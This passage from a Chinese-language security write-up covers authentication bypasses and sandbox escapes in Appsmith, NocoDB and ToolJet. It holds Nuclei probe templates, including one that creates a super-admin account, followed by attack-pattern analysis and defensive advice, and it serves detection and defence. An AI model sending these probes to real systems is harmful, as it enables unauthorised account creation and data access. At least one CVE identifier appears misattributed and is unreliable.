      - "{{BaseURL}}/api/v1/users/super"
    headers:
      Content-Type: application/json
    body: '{"name":"_nuclei_probe_","email":"_probe_@test.local","password":"probe123"}'
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "token"
          - "user"
        condition: or
        part: body
      - type: status
        status:
          - 200

  # Appsmith 用户信息泄露检测
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/users/me"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "email"
          - "name"
        condition: or
        part: body
      - type: status
        status:
          - 200

  # NocoDB 未授权访问检测
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/db/meta/projects"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "list"
          - "projects"
        condition: or
        part: body
      - type: status
        status:
          - 200

  # ToolJet 认证绕过检测
  - method: GET
    path:
      - "{{BaseURL}}/api/organizations"
      - "{{BaseURL}}/api/users"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "organization"
          - "users"
          - "data"
        condition: or
        part: body
      - type: status
        status:
          - 200

0x0A 共性攻击模式分析

通过对上述 7 个漏洞的深入分析,我们可以总结出低代码与无代码平台的几类共性攻击模式:

模式一:认证缺失 / 认证绕过

涉及漏洞:CVE-2023-3428、CVE-2023-37524、NocoDB 未授权访问、ToolJet 认证绕过

低代码平台普遍存在 API 端点认证缺失的问题。根本原因包括:

  • 开发过程中遗漏了认证中间件(NestJS Guard / Spring Security Filter)
  • 管理员注册端点在首次初始化后未正确关闭
  • API 路由配置错误,部分端点绕过了全局认证拦截器
  • 修复不完整,仅封堵了已知的攻击路径而忽略了变体

模式二:JS 沙箱逃逸 → RCE

涉及漏洞:CVE-2023-36844、ToolJet RCE

低代码平台的核心特性是允许用户编写 JavaScript 代码。这些代码通常在服务端的 JS 引擎(Nashorn / VM2 / Node.js vm 模块)中执行。沙箱逃逸是此类平台的固有高风险:

  • Nashorn 引擎的 Java 互操作性使得原型链逃逸几乎不可避免
  • VM2 沙箱存在多个已知逃逸漏洞(CVE-2023-29017 等)
  • 即使使用 vm 模块,通过 constructor.constructor 链也可以逃逸

模式三:低权限 → 高权限横向升级

低代码平台一旦被低权限用户突破,攻击者可以利用平台内置的 API 连接器、数据源配置和自动化工作流,横向渗透到后端数据库、内部 API 和其他业务系统。这种"平台即跳板"的特性使得低代码平台成为攻击链中的关键节点。

模式四:供应链影响面巨大

Appsmith(34k+ Star)、NocoDB(48k+ Star)、ToolJet(29k+ Star)均为高 Star 开源项目,被大量企业直接部署在生产环境中。这些平台通常存储或连接着企业的核心业务数据,一旦被攻破,影响面远超一般的应用系统。


0x0B 防守建议

紧急措施

  1. 立即升级:将所有 Appsmith 实例升级到 >= 1.9.32,NocoDB 升级到 >= 0.111.5,ToolJet 升级到 >= 2.5.0
  2. 网络隔离:将所有低代码平台实例从公网撤下,仅允许内网访问
  3. WAF 规则:在 WAF 上添加规则,拦截对 /api/v1/users/super/api/v1/db/meta/projects/api/organizations 等敏感端点的外部请求
  4. 禁用 JS 执行:如非必要,暂时禁用平台的服务端 JS 执行功能

排查清单

排查项排查方法风险等级
是否存在未知超级管理员查询 /api/v1/users 检查所有管理员账户🔴 高
API 端点是否暴露使用 Nuclei 模板扫描所有端点🔴 高
JS 沙箱是否可逃逸在 JS 编辑器中测试 constructor.constructor🔴 高
数据源凭据是否泄露检查所有已配置的数据源连接信息🟡 中
自动化工作流是否被篡改审查所有自动化工作流的执行日志🟡 中
审计日志是否完整检查登录日志、API 调用日志、数据变更日志🟡 中
是否连接了内部敏感数据库审查数据源配置中是否包含生产数据库🔴 高
外部 API 连接器是否被滥用检查所有外部 API 调用记录🟡 中

长期加固

  1. 零信任架构:对低代码平台实施严格的网络分段和访问控制
  2. API 安全审计:定期对平台所有 API 端点进行认证授权审计
  3. 沙箱加固:使用 Deno / isolated-vm 等更安全的 JS 沙箱替代方案
  4. 最小权限原则:限制低代码平台连接的数据源权限,避免使用 DBA 账户
  5. 持续监控:部署针对低代码平台的专项监控规则,实时检测异常行为

0x0C 参考资料

  1. Huntr - CVE-2023-3428 Appsmith Super Admin Creation
  2. GitHub Advisory - CVE-2023-36844 Appsmith JS Sandbox Escape
  3. Appsmith Security Advisories
  4. NocoDB GitHub Security Issues
  5. ToolJet Security Advisory - Auth Bypass
  6. CISA KEV - Known Exploited Vulnerabilities Catalog
  7. VM2 Sandbox Escape Analysis (CVE-2023-29017)
  8. OWASP Low-Code/No-Code Security Risks
  9. Nuclei Templates - Low-Code Platform Detection
  10. Appsmith Architecture and Security Model